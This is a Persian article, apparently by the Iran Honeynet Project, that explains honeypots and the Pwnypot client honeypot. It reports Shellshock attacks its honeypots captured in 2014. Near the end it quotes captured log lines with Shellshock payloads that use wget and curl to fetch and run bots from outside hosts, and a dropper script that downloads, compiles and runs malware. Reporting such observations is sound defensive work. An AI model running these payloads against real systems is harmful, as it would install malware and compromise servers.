پروژه متن‌‏باز هانی‌‏نت ایران

پروژه هانی‌‏نت (The Honeynet Project) یک مؤسسه تحقیقاتی پیشرو در زمینه امنیت اطلاعات است که به طور خلاصه فعالیت‌‏هایش شامل کشف و تحلیل حملات جدید، مقابله با بدافزارها و توسعه ابزارهای امنیتی متن‏‌باز با هدف بهبود امنیت اینترنت است. این مؤسسه در سال ۱۹۹۹ تأسیس شده و اعضای آن که از شناخته شده‌ترین محققان امنیتی در سراسر دنیا هستند، به صورت داوطلبانه با آن همکاری می‏‌کنند. مأموریت پروژه هانی‏‌نت به این صورت تعریف شده: «کشف و تحلیل ابزارها، تکنیک‌ها و انگیزه‌های دخیل در حملات رایانه‌ای و به اشتراک گذاری اطلاعات به دست آمده». برای دستیابی به این اهداف، فعالیت‌های این مؤسسه به سه بخش تحقیق، توسعه ابزار و آگاهی‌‏رسانی تقسیم شده است. برای آشنایی بیشتر با فعالیت‌های این پروژه و ابزارهای متن‏‌باز آن می‌‏توانید به وب‌‏سایت www.honeynet.org مراجعه کنید.

هانی‌‏پات چیست؟
فعالیت اصلی پروژه هانی‏‌نت در زمینه توسعه سیستم‌های هانی‌‏پات (Honeypot) و کشف حملات جدید با استفاده از این ابزار امنیتی است. هانی‌‏پات یک ابزار امنیتی است که از رویکردی بسیار جالب و متفاوت برای کشف حملات رایانه‌ای و شبکه استفاده می‏کند. هانی‌‏پات را می‏‌توان به این صورت تعریف کرد: یک سیستم آسیب‏‌پذیر یا به ظاهر آسیب‏‌پذیر که ارزش آن در کشف شدن و مورد حمله قرار گرفتن است! این ابزار امنیتی را به عنوان تله در قسمت‌‏های مختلف شبکه و در معرض تعامل با نفوذگر قرار می‌‏دهند و از این طریق بدافزارهای فعال در شبکه یا نفوذگران احتمالی را به دام می‌‏اندازند. از آن‌جا که سیستم هانی‌‏پات به جز فریب دادن نفوذگر هیچ استفاده عملیاتی در شبکه ندارد و کسی هم از وجود آن مطلع نیست، در نتیجه هر فعالیتی که بر روی این سیستم مشاهده شود را یک حمله یا فعالیت غیرمجاز در نظر می‏‌گیریم.
سیستم هانی‌‏پات را می‏‌توان به دو صورت شبیه‌‏سازی شده هانی‌‏پات کم‌‏تعامل یا Low-Interaction و سیستم واقعی هانی‌‏پات پرتعامل یا High-Interaction پیاد‌‌‌‌‌‌‌ه‏‌سازی کرد. به دلیل سختی پیاد‌‌‌‌ه‌‏سازی، نگهداری و تحلیل هانی‌‏پات‌های پرتعامل، سازمان‌ها بیشتر از نوع کم‌‏تعامل هانی‌‏پات استفاده می‏‌کنند. از دیدگاهی دیگر می‏‌توان هانی‌‏پات را به دو نوع هانی‌‏پات سرور و کلاینت دسته‏‌بندی کرد. معمولا وقتی از هانی‌‏پات صحبت می‏‌شود، منظور هانی‌‏پات سرور یا سنتی است. این نوع از هانی‌‏پات با ارایه سرویس واقعی یا شبیه‌‏سازی آن، به صورت passive در انتظار دریافت ارتباط از نفوذگر یا بدافزار می‏‌ماند. همان طور که از این تعریف مشخص است، این ابزار فقط توانایی شناسایی حمله‌‏های سمت سرور را دارد و نمی‏‌تواند حمله‌‏های سمت کلاینت مانند وب‌سایت‌‏های مخرب (حمله‏‌های Drive-by download) را شناسایی کند. برای شناسایی این نوع حمله‌‏ها از هانی‌‏پات کلاینت استفاده می‌‏شود که رویکردی کاملا متفاوت از هانی‌پات سنتی دارد. در این نوع از هانی‌پات از برنامه کاربردی سمت کلاینت (واقعی یا شبیه‌‏سازی شده) برای بازدید خودکار از وب‏‌سایت یا محتوای دیگر و تشخیص مخرب بودن آن استفاده می‏شود. پس در این حالت علاوه بر این‌که به صورت فعال یا active عمل می‏شود، باید مکانیزمی نیز برای تشخیص مخرب بودن محتوای بازدید شده داشته باشیم (برعکس هانی‌‏پات عادی که تمام ارتباطات و فعالیت‌های شناسایی شده را مخرب در نظر می‌گیرد)
انواع هانی‌پات
امروزه تمام شرکت‌های امنیتی و آنتی‌ویروس از هانی‌پات به عنوان اصلی‌ترین ابزار کشف حملات و جمع‌آوری بدافزارهای ناشناخته (اصطلاحا Zero-day) استفاده می‏‌کنند. توضیحات بیشتر در مورد انواع دیگر هانی‌پات و نحوه عملکرد آن‌ها از حوصله این مقاله خارج است و در این‌جا به ذکر همین مقدمه اکتفا می‏‌کنیم. در ادامه مختصری از فعالیت‌های پروژه هانی‏‌نت ایران و نمونه‌ای جالب از حملات شناسایی شده توسط هانی‌پات‌های ما ذکر شده است.

فعالیت‌های پروژه هانی‏‌نت ایران
از علاقه‏‌مندی‏‌ها و فعالیت‌‏های اصلی ما در پروژه هانی‏‌نت ایران می‏‌توان به مطالعه و توسعه ابزارهای متن‏‌باز هانی‌پات، روش‏‌های کشف بات‏نت و بدافزار، تحلیل حملات و تهدیدات نوظهور اشاره کرد. در چند سال اخیر علاوه بر توسعه ابزارهای متن‏‌باز مرتبط با هانی‌پات، کارگاه‌های آموزشی و ارائه‌‏های بسیاری نیز در مراکز دانشگاهی و کنفرانس‌‏هایی از جمله انجمن کامپیوتر ایران و کنفرانس سالانه پروژه هانی‏‌نت برگزار کرده‏‌ا‌‌یم. برای کسب اطلاعات بیشتر در مورد فعالیت‌‏های این پروژه می‏‌توانید به وب سایت ما در آدرس www.irhoneynet.org مراجعه کنید.

هانی‌پات متن‏‌باز Pwnypot
در مورد هانی‌پات کلاینت بر خلاف هانی‌پات‌های عادی، نوع کم‌‏تعامل آن ضعف‌های بسیاری دارد و عموما توانایی شناسایی حملات ناشناخته را ندارند. در نوع پرتعامل از هانی‌پات کلاینت هم تنها یک هانی‌پات به نام Capture-HPC وجود دارد که ضعف این هانی‌پات، پیاده‌‏سازی زمان‌بر و سرعت کم تحلیل در مقایسه با انواع کم تعامل آن است. چند سال پیش در یکی از جلسات داخلی پروژه هانی‏‌نت ایران ایده‏ای جدید برای کشف حملات ناشناخته و وب‌‏سایت‌‏های مخرب به ذهنمان رسید که با تلاش آقای جلایری (توسعه دهنده اصلی Pwnypot) به صورت یک هانی‌پات کلاینت پیاد‌ه‌سازی شد.
هانی‌پات متن‏‌باز Pwnypot که در ابتدا به نام MCEDP -سرنام سیستم کشف و جلوگیری از اجرای کد مخرب- منتشر شد، رویکردی کاملا جدید در هانی‌پات‌های کلاینت پرتعامل ارایه کرد. هانی‌پات Capture-HPC مخرب بودن سرور را بر اساس تغییر وضعیت سیستم (تغییرات فایل سیستم، رجیستری و پراسس‌ها) بعد از بازدید از URL مورد نظر و آلوده شدن سیستم تشخیص می‌‏دهد. اما در هانی‌پات Pwnypot از چندین روش تشخیص کد مخرب استفاده شده که این رویکرد به ما اجازه می‌‏دهد در زمان اجرای کد نفوذ و قبل از آلوده شدن سیستم، کد مخرب را تشخیص داده و سپس آن را ثبت و تحلیل کنیم.
پس از توسعه این هانی‌پات و ارایه آن در کنفرانس ۲۰۱۳ پروژه هانی‏‌نت، دو پروژه برای بهبود روش‌های کشف و تکمیل رابط کاربری آن تعریف کردیم که درGSoC 2013 (برنامه Google Summer of Code که شرکت گوگل هر سال برای پشتیبانی از نرم افزارهای متن‏‌باز و آزاد برگزار می‏‌کند) پذیرفته شد و با موفقیت به اتمام رسید. برای مشاهده اطلاعات بیشتر در مورد این پروژه می‏‌توانید به آدرس www.irhoneynet.org/?page_id=116 مراجعه کنید.

هانی‌پات و حمله Shellshock
حتما شما هم در مورد آسیب‌‏پذیری اخیر Bash که به مدت 25 سال ناشناخته بوده است مطالبی خوانده‏‌ا‌ید. کشف این آسیب‌‏پذیری در سیستم‌‏های مبتنی بر یونیکس و پیش از این، کشف آسیب‌‏پذیری Heartbleed در کتابخانه Openssl-که هر دو نیز به یکی از خطرناک‌ترین و جنجالی‏‌ترین آسیب‏‌پذیری‌‏های شناخته شده در تاریخ تبدیل شدند- بحث‌ها و نگرانی‌‏های بسیاری را در مورد امنیت نرم‌‏افزارهای متن‏‌باز به راه انداخته است. در این مقاله مجال بحث در این مورد نیست و امیدوارم که به زودی فرصتی نیز برای نگارش مطلبی در این زمینه فراهم شود. در این‌جا می‏‌خواهیم قسمتی از مشاهدات ما از حملات انجام شده به آسیب‌‏پذیری Shellshock و نقش سیستم‌های هانی‌پات در کشف این حملات را نشان دهیم. اطلاعاتی که در ادامه ذکر شده توسط هانی‌پات‌های ما –شامل ۳ سیستم هانی‌پات کم تعامل یا شبیه‌‏سازی شده و یک سیستم هانی‌پات پرتعامل (وب سرور آپاچی)– جمع‌‏آوری و ثبت شده است. لازم به ذکر است که بیش‌ترین سوءاستفاده ممکن از این آسیب‌‏پذیری را از طریق سرویس وب و اسکریپت‌های CGI می‌‏توان انجام داد. به همین دلیل ما هم مانند اکثر شرکت‌های امنیتی و مراکز تحقیقاتی، حملات مربوط به این آسیب‌‏پذیری را در سرویس وب هانی‌پات (پورت ۸۰) مشاهده و ثبت کرده‏‌ایم.
از تاریخ ۲ مهر ۱۳۹۳ که آسیب‌‏پذیری Shellshock به طور عمومی منتشر شد تا تاریخ نگارش این مقاله (18 مهر) هانی‌پات‌های ما بیش از ۵۰ حمله برای سوءاستفاده از این آسیب‌‏پذیری شناسایی کرده‏‌اند. قسمتی از این حملات شناسایی شده شامل پویش‌‏های انجام شده توسط ابزارهای پویش مانند Masscan است. بخشی از این پویش‌ها با اهداف تحقیقاتی و بخش دیگری نیز با هدف شناسایی سیستم‌های آسیب‏‌پذیر و سوءاستفاده از آن‌ها انجام شده است.

[25/Sep/2014:02:19:43 -0400] "GET / HTTP/1.0" 200 3161 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

قسمت دیگری از حملات شناسایی شده توسط هانی‌پات، بدافزارها یا بات‌‏هایی را نشان می‌‏دهد که به طور خودکار به دنبال شناسایی و آلوده کردن سیستم‌های آسیب‏‌پذیر هستند. در این مدت چند نمونه جالب از این بدافزارها شناسایی کردیم که در ادامه قسمتی از اطلاعات مربوط به آن‌ها ذکر شده است.

[28/Sep/2014:01:27:49 -0400] "GET / HTTP/1.0" 200 3161 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\""

همان طور که می‏‌بینید، نفوذگر با ارسال یک درخواست وب و سوءاستفاده از آسیب‏‌پذیری Bash، فایلی با نام regular.bot را بر روی سرور بارگذاری و اجرا کرده است. در ادامه محتوای این فایل که شامل دستوراتی برای دریافت، کامپایل و اجرای بدافزار نهایی در سیستم هدف است را مشاهده می‏‌کنید.

wget http://205.237.100.170/manual/a.c -O /tmp/a.c;
gcc -o /tmp/.a /tmp/a.c;
chmod +x /tmp/.a;
/tmp/.a;
rm -rf /tmp/.a;
wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;

در نمونه‌‏ای دیگر از حملات ثبت شده، چند بدافزار مبتنی بر پرل (Perl Bot) دیده شد که در ادامه قسمتی از اطلاعات مربوط به آن‌ها نیز آورده شده است.

Poko Perlbot (Perl.Shellbot):
[04/Oct/2014:11:21:03 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 303 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget https://173.15.111.29/user --no-check-certificate;curl -O https://173.15.111.29/user -k ; perl /tmp/user;rm -rf /tmp/user\""

تشخیص اسکریپت دریافت شده در حمله توسط آنتی‌‏ویروس

LinuxNet perlbot:
[01/Oct/2014:05:35:11 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 287 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\""